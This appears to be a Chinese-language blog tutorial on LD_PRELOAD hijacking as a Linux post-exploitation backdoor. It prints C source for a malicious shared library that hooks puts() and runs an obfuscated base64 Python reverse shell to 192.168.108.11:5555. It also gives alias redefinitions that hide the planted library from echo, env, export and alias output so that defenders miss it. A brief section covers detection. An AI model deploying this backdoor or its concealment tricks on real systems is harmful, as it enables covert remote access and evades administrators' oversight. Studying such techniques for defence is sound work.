LD_PRELOAD
Linux ELF 共享库加载顺序
LD_PRELOAD -> /etc/ld.so.preload -> DT_RPATH(编译指定) -> LD_LIBRARY_PATH -> [/etc/ld.so.conf] -> /lib -> /usr/lib
什么是LD_PRELOAD(Load Preload,加载的预加载)
正常情况下
劫持LD_PRELOAD后
其中./myhack.so包含了恶意版mystrcmp.c函数,系统将会优先加载恶意版mystrcmp.c函数
export LD_PRELOAD=”./myhack.so”
LD_PRELOAD在后渗透中的应用:偷梁换柱
有时候留后门的方式就是令 LD_PRELOAD = 恶意的.so文件,覆盖掉某命令,从而造成其它程序正常运行时本应加载某个so,却导致了恶意的.so文件被预先加载的效果。
恶意的.so文件示例如下(感谢NOP Team文章里的源码):
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");
system("python3 -c \"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDguMTEiLCA1NTU1KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ==')))\""); //使用python3上线的一大串神必代码
result = new_puts(message);
return result;
}
查杀LD_PRELOAD后门
使用echo $LD_PRELOAD、env、set、export、cat /proc/$PID/environ都可以发现被修改的LD_PRELOAD项
隐匿LD_PRELOAD修改(基于alias)
这个作者的思路挺有意思的,使用alias的方法,使得echo、env、set、export的返回都自动被抹除掉恶意.so文件的位置,使得某些安全软件,以及某些师傅在查杀木马的时候得不到任何信息,从而达到隐蔽的效果
grep -v是反向的匹配,就是说不输出后面跟着的文字
作者还使用 sed 命令将所有的 /home/helper/hook.so 字符串替换为空格
alias echo='func(){ echo $* | sed "s!/home/helper/hook.so! !g";};func' alias env='func(){ env $* | grep -v "/home/helper/hook.so";};func' alias set='func(){ set $* | grep -v "/home/helper/hook.so";};func' alias export='func(){ export $* | grep -v "/home/helper/hook.so";};func'
为了防止知道这个小技巧的人使用unalias,作者设置了如下代码,效果是,如果参数不是 echo、env、set、export、alias 或 unalias 中的任何一个,才能够正常使用unalias
alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'
为了防止直接输入alias本身的露馅,作者对alias也使用了隐藏这段文字的方法
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'
这个方法唯一的破绽是,cat /proc/$PID/environ,仍然可以看到的,这里隐藏起来比较复杂所以作者没有做隐藏
LD_PRELOAD会被无效化的场景
- 在有SUID,SGID存在的文件是无视 LD_PRELOAD 的,无法用 :LD_PRELOAD 劫持
- 使用 readonly 命令设置的环境变量不可修改
参考